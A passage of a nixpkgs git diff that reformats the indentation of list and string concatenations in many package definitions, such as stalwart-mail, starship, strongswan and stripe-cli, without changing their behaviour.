   makeFlags = lib.optionals stdenv.hostPlatform.isLinux [
     "USELIBCAP=1"
diff --git a/pkgs/by-name/st/stalwart-mail/package.nix b/pkgs/by-name/st/stalwart-mail/package.nix
index 0a9ed8b7d733..f230cc2946c4 100644
--- a/pkgs/by-name/st/stalwart-mail/package.nix
+++ b/pkgs/by-name/st/stalwart-mail/package.nix
@@ -43,22 +43,22 @@ rustPlatform.buildRustPackage rec {
     openssl
     sqlite
     zstd
-  ] ++ lib.optionals (stdenv.hostPlatform.isLinux && withFoundationdb) [ foundationdb ];
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && withFoundationdb) [ foundationdb ];
 
   # Issue: https://github.com/stalwartlabs/mail-server/issues/1104
   buildNoDefaultFeatures = true;
-  buildFeatures =
-    [
-      "sqlite"
-      "postgres"
-      "mysql"
-      "rocks"
-      "elastic"
-      "s3"
-      "redis"
-    ]
-    ++ lib.optionals withFoundationdb [ "foundationdb" ]
-    ++ lib.optionals stalwartEnterprise [ "enterprise" ];
+  buildFeatures = [
+    "sqlite"
+    "postgres"
+    "mysql"
+    "rocks"
+    "elastic"
+    "s3"
+    "redis"
+  ]
+  ++ lib.optionals withFoundationdb [ "foundationdb" ]
+  ++ lib.optionals stalwartEnterprise [ "enterprise" ];
 
   env = {
     OPENSSL_NO_VENDOR = true;
@@ -158,16 +158,17 @@ rustPlatform.buildRustPackage rec {
     description = "Secure & Modern All-in-One Mail Server (IMAP, JMAP, SMTP)";
     homepage = "https://github.com/stalwartlabs/mail-server";
     changelog = "https://github.com/stalwartlabs/mail-server/blob/main/CHANGELOG.md";
-    license =
-      [ lib.licenses.agpl3Only ]
-      ++ lib.optionals stalwartEnterprise [
-        {
-          fullName = "Stalwart Enterprise License 1.0 (SELv1) Agreement";
-          url = "https://github.com/stalwartlabs/mail-server/blob/main/LICENSES/LicenseRef-SEL.txt";
-          free = false;
-          redistributable = false;
-        }
-      ];
+    license = [
+      lib.licenses.agpl3Only
+    ]
+    ++ lib.optionals stalwartEnterprise [
+      {
+        fullName = "Stalwart Enterprise License 1.0 (SELv1) Agreement";
+        url = "https://github.com/stalwartlabs/mail-server/blob/main/LICENSES/LicenseRef-SEL.txt";
+        free = false;
+        redistributable = false;
+      }
+    ];
 
     maintainers = with lib.maintainers; [
       happysalada
diff --git a/pkgs/by-name/st/starfetch/package.nix b/pkgs/by-name/st/starfetch/package.nix
index 34694aa95136..3abcb42bc0d2 100644
--- a/pkgs/by-name/st/starfetch/package.nix
+++ b/pkgs/by-name/st/starfetch/package.nix
@@ -15,13 +15,12 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-I2M/FlLRkGtD2+GcK1l5+vFsb5tCb4T3UJTPxRx68Ww=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace src/starfetch.cpp --replace /usr/local/ $out/
-    ''
-    + lib.optionalString stdenv.cc.isClang ''
-      substituteInPlace makefile --replace g++ clang++
-    '';
+  postPatch = ''
+    substituteInPlace src/starfetch.cpp --replace /usr/local/ $out/
+  ''
+  + lib.optionalString stdenv.cc.isClang ''
+    substituteInPlace makefile --replace g++ clang++
+  '';
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/st/starship/package.nix b/pkgs/by-name/st/starship/package.nix
index 404816b79a83..350cebac6810 100644
--- a/pkgs/by-name/st/starship/package.nix
+++ b/pkgs/by-name/st/starship/package.nix
@@ -27,23 +27,22 @@ rustPlatform.buildRustPackage (finalAttrs: {
     writableTmpDirAsHomeHook
   ];
 
-  postInstall =
+  postInstall = ''
+    presetdir=$out/share/starship/presets/
+    mkdir -p $presetdir
+    cp docs/public/presets/toml/*.toml $presetdir
+  ''
+  + lib.optionalString (stdenv.hostPlatform.emulatorAvailable buildPackages) (
+    let
+      emulator = stdenv.hostPlatform.emulator buildPackages;
+    in
     ''
-      presetdir=$out/share/starship/presets/
-      mkdir -p $presetdir
-      cp docs/public/presets/toml/*.toml $presetdir
+      installShellCompletion --cmd starship \
+        --bash <(${emulator} $out/bin/starship completions bash) \
+        --fish <(${emulator} $out/bin/starship completions fish) \
+        --zsh <(${emulator} $out/bin/starship completions zsh)
     ''
-    + lib.optionalString (stdenv.hostPlatform.emulatorAvailable buildPackages) (
-      let
-        emulator = stdenv.hostPlatform.emulator buildPackages;
-      in
-      ''
-        installShellCompletion --cmd starship \
-          --bash <(${emulator} $out/bin/starship completions bash) \
-          --fish <(${emulator} $out/bin/starship completions fish) \
-          --zsh <(${emulator} $out/bin/starship completions zsh)
-      ''
-    );
+  );
 
   useFetchCargoVendor = true;
   cargoHash = "sha256-cxDWaPlNK7POJ3GhA21NlJ6q62bqHdA/4sru5pLkvOA=";
diff --git a/pkgs/by-name/st/steam/package.nix b/pkgs/by-name/st/steam/package.nix
index 0a9ba6105321..162de8aa6f1e 100644
--- a/pkgs/by-name/st/steam/package.nix
+++ b/pkgs/by-name/st/steam/package.nix
@@ -132,7 +132,8 @@ let
       extraBwrapArgs = [
         # Steam will dump crash reports here, make those more accessible
         "--bind-try /tmp/dumps /tmp/dumps"
-      ] ++ extraBwrapArgs;
+      ]
+      ++ extraBwrapArgs;
     };
 in
 steamEnv {
diff --git a/pkgs/by-name/st/steel/package.nix b/pkgs/by-name/st/steel/package.nix
index 2fe3359669a1..dc324b494139 100644
--- a/pkgs/by-name/st/steel/package.nix
+++ b/pkgs/by-name/st/steel/package.nix
@@ -52,21 +52,20 @@ rustPlatform.buildRustPackage {
     rm .cargo/config.toml
   '';
 
-  cargoBuildFlags =
-    [
-      "--package"
-      "steel-interpreter"
-      "--package"
-      "cargo-steel-lib"
-    ]
-    ++ lib.optionals includeLSP [
-      "--package"
-      "steel-language-server"
-    ]
-    ++ lib.optionals includeForge [
-      "--package"
-      "forge"
-    ];
+  cargoBuildFlags = [
+    "--package"
+    "steel-interpreter"
+    "--package"
+    "cargo-steel-lib"
+  ]
+  ++ lib.optionals includeLSP [
+    "--package"
+    "steel-language-server"
+  ]
+  ++ lib.optionals includeForge [
+    "--package"
+    "forge"
+  ];
 
   # Tests are disabled since they always fail when building with Nix
   doCheck = false;
diff --git a/pkgs/by-name/st/stfl/package.nix b/pkgs/by-name/st/stfl/package.nix
index 44d6b12884a6..ef8e8b5b191a 100644
--- a/pkgs/by-name/st/stfl/package.nix
+++ b/pkgs/by-name/st/stfl/package.nix
@@ -33,32 +33,30 @@ stdenv.mkDerivation {
       NIX_LDFLAGS = "-liconv";
     };
 
-  preBuild =
-    ''
-      sed -i s/gcc/cc/g Makefile
-      sed -i s%ncursesw/ncurses.h%ncurses.h% stfl_internals.h
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      sed -i s/-soname/-install_name/ Makefile
-    ''
-    # upstream builds shared library unconditionally. Also, it has no
-    # support for cross-compilation.
-    + lib.optionalString stdenv.hostPlatform.isStatic ''
-      sed -i 's/all:.*/all: libstfl.a stfl.pc/' Makefile
-      sed -i 's/\tar /\t${stdenv.cc.targetPrefix}ar /' Makefile
-      sed -i 's/\tranlib /\t${stdenv.cc.targetPrefix}ranlib /' Makefile
-      sed -i '/install -m 644 libstfl.so./d' Makefile
-      sed -i '/ln -fs libstfl.so./d' Makefile
-    '';
+  preBuild = ''
+    sed -i s/gcc/cc/g Makefile
+    sed -i s%ncursesw/ncurses.h%ncurses.h% stfl_internals.h
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    sed -i s/-soname/-install_name/ Makefile
+  ''
+  # upstream builds shared library unconditionally. Also, it has no
+  # support for cross-compilation.
+  + lib.optionalString stdenv.hostPlatform.isStatic ''
+    sed -i 's/all:.*/all: libstfl.a stfl.pc/' Makefile
+    sed -i 's/\tar /\t${stdenv.cc.targetPrefix}ar /' Makefile
+    sed -i 's/\tranlib /\t${stdenv.cc.targetPrefix}ranlib /' Makefile
+    sed -i '/install -m 644 libstfl.so./d' Makefile
+    sed -i '/ln -fs libstfl.so./d' Makefile
+  '';
 
-  installPhase =
-    ''
-      DESTDIR=$out prefix=\"\" make install
-    ''
-    # some programs rely on libstfl.so.0 to be present, so link it
-    + lib.optionalString (!stdenv.hostPlatform.isStatic) ''
-      ln -s $out/lib/libstfl.so.0.24 $out/lib/libstfl.so.0
-    '';
+  installPhase = ''
+    DESTDIR=$out prefix=\"\" make install
+  ''
+  # some programs rely on libstfl.so.0 to be present, so link it
+  + lib.optionalString (!stdenv.hostPlatform.isStatic) ''
+    ln -s $out/lib/libstfl.so.0.24 $out/lib/libstfl.so.0
+  '';
 
   meta = {
     homepage = "https://web.archive.org/web/20211113222004/http://www.clifford.at/stfl/";
diff --git a/pkgs/by-name/st/stgit/package.nix b/pkgs/by-name/st/stgit/package.nix
index 39046668c0c8..52ba75b05351 100644
--- a/pkgs/by-name/st/stgit/package.nix
+++ b/pkgs/by-name/st/stgit/package.nix
@@ -42,15 +42,14 @@ rustPlatform.buildRustPackage rec {
   ];
   buildInputs = [ curl ];
 
-  nativeCheckInputs =
-    [
-      git
-      perl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      darwin.system_cmds
-      libiconv
-    ];
+  nativeCheckInputs = [
+    git
+    perl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    darwin.system_cmds
+    libiconv
+  ];
 
   postPatch = ''
     for f in Documentation/*.xsl; do
diff --git a/pkgs/by-name/st/stlink/package.nix b/pkgs/by-name/st/stlink/package.nix
index b88b06393fed..5413dcf37f8d 100644
--- a/pkgs/by-name/st/stlink/package.nix
+++ b/pkgs/by-name/st/stlink/package.nix
@@ -40,21 +40,19 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  buildInputs =
-    [
-      libusb1'
-    ]
-    ++ lib.optionals withGUI [
-      gtk3
-    ];
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals withGUI [
-      pkg-config
-      wrapGAppsHook3
-    ];
+  buildInputs = [
+    libusb1'
+  ]
+  ++ lib.optionals withGUI [
+    gtk3
+  ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals withGUI [
+    pkg-config
+    wrapGAppsHook3
+  ];
 
   cmakeFlags = [
     "-DSTLINK_MODPROBED_DIR=${placeholder "out"}/etc/modprobe.d"
diff --git a/pkgs/by-name/st/stp/package.nix b/pkgs/by-name/st/stp/package.nix
index 65d8b52fb271..f6b63167cbd8 100644
--- a/pkgs/by-name/st/stp/package.nix
+++ b/pkgs/by-name/st/stp/package.nix
@@ -40,28 +40,27 @@ stdenv.mkDerivation (finalAttrs: {
       hash = "sha256-guFgeWOrxRrxkU7kMvd5+nmML0rwLYW196m1usE2qiA=";
     })
   ];
-  postPatch =
-    ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail GIT-hash-notfound "$version"
+  postPatch = ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail GIT-hash-notfound "$version"
 
-      # We want to use the Nix wrapper for the output check tool instead of running it through Python.
-      substituteInPlace tests/query-files/lit.cfg \
-        --replace-fail "pythonExec + ' ' +OutputCheckTool" "OutputCheckTool"
+    # We want to use the Nix wrapper for the output check tool instead of running it through Python.
+    substituteInPlace tests/query-files/lit.cfg \
+      --replace-fail "pythonExec + ' ' +OutputCheckTool" "OutputCheckTool"
 
-      # Results in duplication of Nix store paths and trouble finding the Python library at runtime
-      substituteInPlace bindings/python/stp/library_path.py.in_install \
-        --replace-fail "@CMAKE_INSTALL_PREFIX@/" ""
-    ''
-    + lib.optionalString useCadical ''
-      # Fix up Cadical paths.
-      substituteInPlace include/stp/Sat/Cadical.h \
-        --replace-fail "src/cadical.hpp" "cadical.hpp"
+    # Results in duplication of Nix store paths and trouble finding the Python library at runtime
+    substituteInPlace bindings/python/stp/library_path.py.in_install \
+      --replace-fail "@CMAKE_INSTALL_PREFIX@/" ""
+  ''
+  + lib.optionalString useCadical ''
+    # Fix up Cadical paths.
+    substituteInPlace include/stp/Sat/Cadical.h \
+      --replace-fail "src/cadical.hpp" "cadical.hpp"
 
-      substituteInPlace CMakeLists.txt \
-        --replace-fail "build/libcadical.a" "lib/libcadical.a" \
-        --replace-fail 'include_directories(''${CADICAL_DIR}/)' 'include_directories(''${CADICAL_DIR}/include)'
-    '';
+    substituteInPlace CMakeLists.txt \
+      --replace-fail "build/libcadical.a" "lib/libcadical.a" \
+      --replace-fail 'include_directories(''${CADICAL_DIR}/)' 'include_directories(''${CADICAL_DIR}/include)'
+  '';
 
   buildInputs = [
     boost
@@ -69,7 +68,8 @@ stdenv.mkDerivation (finalAttrs: {
     python3
     gmp
     minisat
-  ] ++ lib.optional (!useCadical) cryptominisat;
+  ]
+  ++ lib.optional (!useCadical) cryptominisat;
 
   nativeBuildInputs = [
     cmake
@@ -116,20 +116,19 @@ stdenv.mkDerivation (finalAttrs: {
     "out"
   ];
 
-  preConfigure =
-    ''
-      python_install_dir=$out/${python3.sitePackages}
-      mkdir -p $python_install_dir
-      cmakeFlagsArray+=(
-        "-DPYTHON_LIB_INSTALL_DIR=$python_install_dir"
-      )
-    ''
-    + lib.optionalString finalAttrs.finalPackage.doCheck ''
-      # Link in gtest and the output check utility.
-      mkdir -p deps
-      ln -s ${gtest.src} deps/gtest
-      ln -s ${outputcheck} deps/OutputCheck
-    '';
+  preConfigure = ''
+    python_install_dir=$out/${python3.sitePackages}
+    mkdir -p $python_install_dir
+    cmakeFlagsArray+=(
+      "-DPYTHON_LIB_INSTALL_DIR=$python_install_dir"
+    )
+  ''
+  + lib.optionalString finalAttrs.finalPackage.doCheck ''
+    # Link in gtest and the output check utility.
+    mkdir -p deps
+    ln -s ${gtest.src} deps/gtest
+    ln -s ${outputcheck} deps/OutputCheck
+  '';
 
   nativeCheckInputs = [
     gtest
diff --git a/pkgs/by-name/st/strace/package.nix b/pkgs/by-name/st/strace/package.nix
index f8b521af0d57..42ce3aecae21 100644
--- a/pkgs/by-name/st/strace/package.nix
+++ b/pkgs/by-name/st/strace/package.nix
@@ -33,14 +33,16 @@ stdenv.mkDerivation rec {
   # libunwind for -k.
   # On RISC-V platforms, LLVM's libunwind implementation is unsupported by strace.
   # The build will silently fall back and -k will not work on RISC-V.
-  buildInputs =
-    [ libunwind ]
-    # -kk
-    ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform elfutils) elfutils;
+  buildInputs = [
+    libunwind
+  ]
+  # -kk
+  ++ lib.optional (lib.meta.availableOn stdenv.hostPlatform elfutils) elfutils;
 
   configureFlags = [
     "--enable-mpers=check"
-  ] ++ lib.optional stdenv.cc.isClang "CFLAGS=-Wno-unused-function";
+  ]
+  ++ lib.optional stdenv.cc.isClang "CFLAGS=-Wno-unused-function";
 
   passthru.updateScript = gitUpdater {
     # No nicer place to find latest release.
diff --git a/pkgs/by-name/st/streamcontroller/package.nix b/pkgs/by-name/st/streamcontroller/package.nix
index 2054f05560b0..df6496f1323a 100644
--- a/pkgs/by-name/st/streamcontroller/package.nix
+++ b/pkgs/by-name/st/streamcontroller/package.nix
@@ -41,12 +41,11 @@ stdenv.mkDerivation {
   installPhase =
     # Some plugins needs to load things dynamically and in that case we won't find python3 without this
     let
-      binPath =
-        [
-          python3Packages.python.interpreter
-        ]
-        # Allows automatic detection of windows to switch pages on KDE
-        ++ lib.optional isKde kdotool;
+      binPath = [
+        python3Packages.python.interpreter
+      ]
+      # Allows automatic detection of windows to switch pages on KDE
+      ++ lib.optional isKde kdotool;
     in
     ''
       runHook preInstall
@@ -91,109 +90,108 @@ stdenv.mkDerivation {
     gobject-introspection
   ];
 
-  buildInputs =
-    [
-      libadwaita
-      libportal
-      libportal-gtk4
-      xdg-desktop-portal
-      xdg-desktop-portal-gtk
-    ]
-    ++ (with python3Packages; [
-      annotated-types
-      async-lru
-      cairocffi
-      cairosvg
-      certifi
-      cffi
-      charset-normalizer
-      click
-      colorama
-      contourpy
-      cssselect2
-      cycler
-      dbus-python
-      decorator
-      defusedxml
-      distlib
-      dnspython
-      evdev
-      filelock
-      fonttools
-      fuzzywuzzy
-      gcodepy
-      get-video-properties
-      gitdb
-      idna
-      imageio
-      imageio-ffmpeg
-      indexed-bzip2
-      jinja2
-      joblib
-      kiwisolver
-      levenshtein
-      linkify-it-py
-      loguru
-      markdown-it-py
-      markupsafe
-      matplotlib
-      mdit-py-plugins
-      mdurl
-      meson
-      meson-python
-      natsort
-      nltk
-      numpy
-      opencv4
-      packaging
-      pillow
-      platformdirs
-      plumbum
-      proglog
-      psutil
-      pulsectl
-      pycairo
-      pyclip
-      pycparser
-      pydantic
-      pydantic-core
-      pyenchant
-      pygments
-      pygobject3
-      pymongo
-      pyparsing
-      pyperclip
-      pyproject-metadata
-      pyro5
-      pyspellchecker
-      python-dateutil
-      pyudev
-      pyusb
-      pyyaml
-      rapidfuzz
-      regex
-      requests
-      requirements-parser
-      rich
-      rpyc
-      serpent
-      setproctitle
-      six
-      smmap
-      speedtest-cli
-      streamcontroller-plugin-tools
-      streamdeck
-      textual
-      tinycss2
-      tqdm
-      types-setuptools
-      typing-extensions
-      uc-micro-py
-      urllib3
-      usb-monitor
-      webencodings
-      websocket-client
-    ]);
+  buildInputs = [
+    libadwaita
+    libportal
+    libportal-gtk4
+    xdg-desktop-portal
+    xdg-desktop-portal-gtk
+  ]
+  ++ (with python3Packages; [
+    annotated-types
+    async-lru
+    cairocffi
+    cairosvg
+    certifi
+    cffi
+    charset-normalizer
+    click
+    colorama
+    contourpy
+    cssselect2
+    cycler
+    dbus-python
+    decorator
+    defusedxml
+    distlib
+    dnspython
+    evdev
+    filelock
+    fonttools
+    fuzzywuzzy
+    gcodepy
+    get-video-properties
+    gitdb
+    idna
+    imageio
+    imageio-ffmpeg
+    indexed-bzip2
+    jinja2
+    joblib
+    kiwisolver
+    levenshtein
+    linkify-it-py
+    loguru
+    markdown-it-py
+    markupsafe
+    matplotlib
+    mdit-py-plugins
+    mdurl
+    meson
+    meson-python
+    natsort
+    nltk
+    numpy
+    opencv4
+    packaging
+    pillow
+    platformdirs
+    plumbum
+    proglog
+    psutil
+    pulsectl
+    pycairo
+    pyclip
+    pycparser
+    pydantic
+    pydantic-core
+    pyenchant
+    pygments
+    pygobject3
+    pymongo
+    pyparsing
+    pyperclip
+    pyproject-metadata
+    pyro5
+    pyspellchecker
+    python-dateutil
+    pyudev
+    pyusb
+    pyyaml
+    rapidfuzz
+    regex
+    requests
+    requirements-parser
+    rich
+    rpyc
+    serpent
+    setproctitle
+    six
+    smmap
+    speedtest-cli
+    streamcontroller-plugin-tools
+    streamdeck
+    textual
+    tinycss2
+    tqdm
+    types-setuptools
+    typing-extensions
+    uc-micro-py
+    urllib3
+    usb-monitor
+    webencodings
+    websocket-client
+  ]);
 
   meta = with lib; {
     description = "Elegant Linux app for the Elgato Stream Deck with support for plugins";
diff --git a/pkgs/by-name/st/streamdeck-ui/package.nix b/pkgs/by-name/st/streamdeck-ui/package.nix
index 4400537bf7f1..0fc9af37f2c4 100644
--- a/pkgs/by-name/st/streamdeck-ui/package.nix
+++ b/pkgs/by-name/st/streamdeck-ui/package.nix
@@ -53,13 +53,14 @@ python3Packages.buildPythonApplication rec {
     ]
     ++ lib.optionals stdenv.hostPlatform.isLinux [ qt6.qtwayland ];
 
-  nativeCheckInputs =
-    [ xvfb-run ]
-    ++ (with python3Packages; [
-      pytest
-      pytest-qt
-      pytest-mock
-    ]);
+  nativeCheckInputs = [
+    xvfb-run
+  ]
+  ++ (with python3Packages; [
+    pytest
+    pytest-qt
+    pytest-mock
+  ]);
 
   checkPhase = ''
     runHook preCheck
diff --git a/pkgs/by-name/st/stress-ng/package.nix b/pkgs/by-name/st/stress-ng/package.nix
index 882a5b4c0b9c..1b8aca66a3ca 100644
--- a/pkgs/by-name/st/stress-ng/package.nix
+++ b/pkgs/by-name/st/stress-ng/package.nix
@@ -32,23 +32,22 @@ stdenv.mkDerivation rec {
   ''; # needed because of Darwin patch on libbsd
 
   # All platforms inputs then Linux-only ones
-  buildInputs =
-    [
-      judy
-      libbsd
-      libgcrypt
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      attr
-      keyutils
-      libaio
-      libapparmor
-      libcap
-      lksctp-tools
-      libglvnd
-      libgbm
-    ];
+  buildInputs = [
+    judy
+    libbsd
+    libgcrypt
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    attr
+    keyutils
+    libaio
+    libapparmor
+    libcap
+    lksctp-tools
+    libglvnd
+    libgbm
+  ];
 
   makeFlags = [
     "BINDIR=${placeholder "out"}/bin"
diff --git a/pkgs/by-name/st/stripe-cli/package.nix b/pkgs/by-name/st/stripe-cli/package.nix
index d319f8e903f0..f838e8156f73 100644
--- a/pkgs/by-name/st/stripe-cli/package.nix
+++ b/pkgs/by-name/st/stripe-cli/package.nix
@@ -26,34 +26,33 @@ buildGoModule rec {
     "-X github.com/stripe/stripe-cli/pkg/version.Version=${version}"
   ];
 
-  preCheck =
-    ''
-      # the tests expect the Version ldflag not to be set
-      unset ldflags
+  preCheck = ''
+    # the tests expect the Version ldflag not to be set
+    unset ldflags
 
-      # requires internet access
-      rm pkg/cmd/plugin_cmds_test.go
-      rm pkg/cmd/resources_test.go
-      rm pkg/cmd/root_test.go
+    # requires internet access
+    rm pkg/cmd/plugin_cmds_test.go
+    rm pkg/cmd/resources_test.go
+    rm pkg/cmd/root_test.go
 
-      # TODO: no clue why it's broken (1.17.1), remove for now.
-      rm pkg/login/client_login_test.go
-      rm pkg/git/editor_test.go
-      rm pkg/rpcservice/sample_create_test.go
-    ''
-    +
-      lib.optionalString
-        (
-          # delete plugin tests on all platforms but exact matches
-          # https://github.com/stripe/stripe-cli/issues/850
-          !lib.lists.any (platform: lib.meta.platformMatch stdenv.hostPlatform platform) [
-            "x86_64-linux"
-            "x86_64-darwin"
-          ]
-        )
-        ''
-          rm pkg/plugins/plugin_test.go
-        '';
+    # TODO: no clue why it's broken (1.17.1), remove for now.
+    rm pkg/login/client_login_test.go
+    rm pkg/git/editor_test.go
+    rm pkg/rpcservice/sample_create_test.go
+  ''
+  +
+    lib.optionalString
+      (
+        # delete plugin tests on all platforms but exact matches
+        # https://github.com/stripe/stripe-cli/issues/850
+        !lib.lists.any (platform: lib.meta.platformMatch stdenv.hostPlatform platform) [
+          "x86_64-linux"
+          "x86_64-darwin"
+        ]
+      )
+      ''
+        rm pkg/plugins/plugin_test.go
+      '';
 
   postInstall = ''
     installShellCompletion --cmd stripe \
diff --git a/pkgs/by-name/st/strongswan/package.nix b/pkgs/by-name/st/strongswan/package.nix
index 48c8c18b5676..0d7c323c0b9b 100644
--- a/pkgs/by-name/st/strongswan/package.nix
+++ b/pkgs/by-name/st/strongswan/package.nix
@@ -56,31 +56,30 @@ stdenv.mkDerivation rec {
     bison
     flex
   ];
-  buildInputs =
-    [
-      curl
-      gmp
-      python3
-      ldns
-      unbound
-      openssl
-      pcsclite
-    ]
-    ++ lib.optionals enableTNC [
-      trousers
-      sqlite
-      libxml2
-    ]
-    ++ lib.optional enableTPM2 tpm2-tss
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      systemd.dev
-      pam
-      iptables
-    ]
-    ++ lib.optionals enableNetworkManager [
-      networkmanager
-      glib
-    ];
+  buildInputs = [
+    curl
+    gmp
+    python3
+    ldns
+    unbound
+    openssl
+    pcsclite
+  ]
+  ++ lib.optionals enableTNC [
+    trousers
+    sqlite
+    libxml2
+  ]
+  ++ lib.optional enableTPM2 tpm2-tss
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    systemd.dev
+    pam
+    iptables
+  ]
+  ++ lib.optionals enableNetworkManager [
+    networkmanager
+    glib
+  ];
 
   patches = [
     ./ext_auth-path.patch
@@ -95,90 +94,89 @@ stdenv.mkDerivation rec {
     substituteInPlace src/libcharon/plugins/resolve/resolve_handler.c --replace "/sbin/resolvconf" "${openresolv}/sbin/resolvconf"
   '';
 
-  configureFlags =
-    [
-      "--sysconfdir=/etc"
-      "--enable-swanctl"
-      "--enable-cmd"
-      "--enable-openssl"
-      "--enable-eap-sim"
-      "--enable-eap-sim-file"
-      "--enable-eap-simaka-pseudonym"
-      "--enable-eap-simaka-reauth"
-      "--enable-eap-identity"
-      "--enable-eap-md5"
-      "--enable-eap-gtc"
-      "--enable-eap-aka"
-      "--enable-eap-aka-3gpp2"
-      "--enable-eap-mschapv2"
-      "--enable-eap-radius"
-      "--enable-xauth-eap"
-      "--enable-ext-auth"
-      "--enable-acert"
-      "--enable-pkcs11"
-      "--enable-eap-sim-pcsc"
-      "--enable-dnscert"
-      "--enable-unbound"
-      "--enable-chapoly"
-      "--enable-curl"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "--enable-farp"
-      "--enable-dhcp"
-      "--enable-systemd"
-      "--with-systemdsystemunitdir=${placeholder "out"}/etc/systemd/system"
-      "--enable-xauth-pam"
-      "--enable-forecast"
-      "--enable-connmark"
-      "--enable-af-alg"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86_64 [
-      "--enable-aesni"
-      "--enable-rdrand"
-    ]
-    ++ lib.optional (stdenv.hostPlatform.system == "i686-linux") "--enable-padlock"
-    ++ lib.optionals enableTNC [
-      "--disable-gmp"
-      "--disable-aes"
-      "--disable-md5"
-      "--disable-sha1"
-      "--disable-sha2"
-      "--disable-fips-prf"
-      "--enable-eap-tnc"
-      "--enable-eap-ttls"
-      "--enable-eap-dynamic"
-      "--enable-tnccs-20"
-      "--enable-tnc-imc"
-      "--enable-imc-os"
-      "--enable-imc-attestation"
-      "--enable-tnc-imv"
-      "--enable-imv-attestation"
-      "--enable-tnc-ifmap"
-      "--enable-tnc-imc"
-      "--enable-tnc-imv"
-      "--with-tss=trousers"
-      "--enable-aikgen"
-      "--enable-sqlite"
-    ]
-    ++ lib.optionals enableTPM2 [
-      "--enable-tpm"
-      "--enable-tss-tss2"
-    ]
-    ++ lib.optionals enableNetworkManager [
-      "--enable-nm"
-      "--with-nm-ca-dir=/etc/ssl/certs"
-    ]
-    # Taken from: https://wiki.strongswan.org/projects/strongswan/wiki/MacOSX
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--disable-systemd"
-      "--disable-xauth-pam"
-      "--disable-kernel-netlink"
-      "--enable-kernel-pfkey"
-      "--enable-kernel-pfroute"
-      "--enable-kernel-libipsec"
-      "--enable-osx-attr"
-      "--disable-scripts"
-    ];
+  configureFlags = [
+    "--sysconfdir=/etc"
+    "--enable-swanctl"
+    "--enable-cmd"
+    "--enable-openssl"
+    "--enable-eap-sim"
+    "--enable-eap-sim-file"
+    "--enable-eap-simaka-pseudonym"
+    "--enable-eap-simaka-reauth"
+    "--enable-eap-identity"
+    "--enable-eap-md5"
+    "--enable-eap-gtc"
+    "--enable-eap-aka"
+    "--enable-eap-aka-3gpp2"
+    "--enable-eap-mschapv2"
+    "--enable-eap-radius"
+    "--enable-xauth-eap"
+    "--enable-ext-auth"
+    "--enable-acert"
+    "--enable-pkcs11"
+    "--enable-eap-sim-pcsc"
+    "--enable-dnscert"
+    "--enable-unbound"
+    "--enable-chapoly"
+    "--enable-curl"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "--enable-farp"
+    "--enable-dhcp"
+    "--enable-systemd"
+    "--with-systemdsystemunitdir=${placeholder "out"}/etc/systemd/system"
+    "--enable-xauth-pam"
+    "--enable-forecast"
+    "--enable-connmark"
+    "--enable-af-alg"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [
+    "--enable-aesni"
+    "--enable-rdrand"
+  ]
+  ++ lib.optional (stdenv.hostPlatform.system == "i686-linux") "--enable-padlock"
+  ++ lib.optionals enableTNC [
+    "--disable-gmp"
+    "--disable-aes"
+    "--disable-md5"
+    "--disable-sha1"
+    "--disable-sha2"
+    "--disable-fips-prf"
+    "--enable-eap-tnc"
+    "--enable-eap-ttls"
+    "--enable-eap-dynamic"
+    "--enable-tnccs-20"
+    "--enable-tnc-imc"
+    "--enable-imc-os"
+    "--enable-imc-attestation"
+    "--enable-tnc-imv"
+    "--enable-imv-attestation"
+    "--enable-tnc-ifmap"
+    "--enable-tnc-imc"
+    "--enable-tnc-imv"
+    "--with-tss=trousers"
+    "--enable-aikgen"
+    "--enable-sqlite"
+  ]
+  ++ lib.optionals enableTPM2 [
+    "--enable-tpm"
+    "--enable-tss-tss2"
+  ]
+  ++ lib.optionals enableNetworkManager [
+    "--enable-nm"
+    "--with-nm-ca-dir=/etc/ssl/certs"
+  ]
+  # Taken from: https://wiki.strongswan.org/projects/strongswan/wiki/MacOSX
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--disable-systemd"
+    "--disable-xauth-pam"
+    "--disable-kernel-netlink"
+    "--enable-kernel-pfkey"
+    "--enable-kernel-pfroute"
+    "--enable-kernel-libipsec"
+    "--enable-osx-attr"
+    "--disable-scripts"
+  ];
 
   installFlags = [
     "sysconfdir=${placeholder "out"}/etc"
diff --git a/pkgs/by-name/st/stubby/package.nix b/pkgs/by-name/st/stubby/package.nix
index 585edede4df9..31da0c65b96f 100644
--- a/pkgs/by-name/st/stubby/package.nix
+++ b/pkgs/by-name/st/stubby/package.nix
@@ -34,7 +34,8 @@ stdenv.mkDerivation (finalAttrs: {
     getdns
     libyaml
     openssl
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ systemd ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ systemd ];
 
   postInstall = ''
     rm -r $out/share/doc
diff --git a/pkgs/by-name/st/stunnel/package.nix b/pkgs/by-name/st/stunnel/package.nix
index 5201716af9ce..ffb5b54555ac 100644
--- a/pkgs/by-name/st/stunnel/package.nix
+++ b/pkgs/by-name/st/stunnel/package.nix
